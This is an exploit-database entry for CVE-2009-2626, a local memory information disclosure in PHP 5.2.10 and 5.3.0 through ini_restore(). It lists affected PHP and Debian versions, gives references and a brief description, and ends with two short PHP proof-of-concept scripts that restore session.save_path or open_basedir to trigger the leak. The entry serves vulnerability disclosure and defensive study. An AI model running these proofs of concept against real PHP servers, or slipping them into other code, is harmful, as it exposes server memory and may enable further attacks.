Exploit PHP 5.2.10/5.3.0 - 'ini_restore()' Memory Information Disclosure

[Exploiter]

EDB-ID

10296

Проверка EDB

1. Пройдено

Автор

MAKSYMILIAN ARCIEMOWICZ

Тип уязвимости

LOCAL

Платформа

PHP

CVE

cve-2009-2626

Дата публикации

2009-12-03

Credit/Author:
Maksymilian Arciemowicz from SecurityReason

Vulnerable:
PHP PHP 5.3 
PHP PHP 5.2.10 
Debian Linux 5.0 sparc
Debian Linux 5.0 s/390
Debian Linux 5.0 powerpc
Debian Linux 5.0 mipsel
Debian Linux 5.0 mips
Debian Linux 5.0 m68k
Debian Linux 5.0 ia-64
Debian Linux 5.0 ia-32
Debian Linux 5.0 hppa
Debian Linux 5.0 armel
Debian Linux 5.0 arm
Debian Linux 5.0 amd64
Debian Linux 5.0 alpha
Debian Linux 5.0

References:
https://www.securityfocus.com/bid/36009/info
http://securityreason.com/achievement_securityalert/65

Description:
PHP is prone to an information-disclosure vulnerability. 
Attackers can exploit this issue to obtain sensitive information that may lead to further attacks

POC 1:
<?php

ini_set("session.save_path", "0123456789ABCDEF");
ini_restore("session.save_path");
session_start();
?>

POC 2:
<?php
ini_set("open_basedir", "A");
ini_restore("open_basedir");
ini_get("open_basedir");


include("B");

?>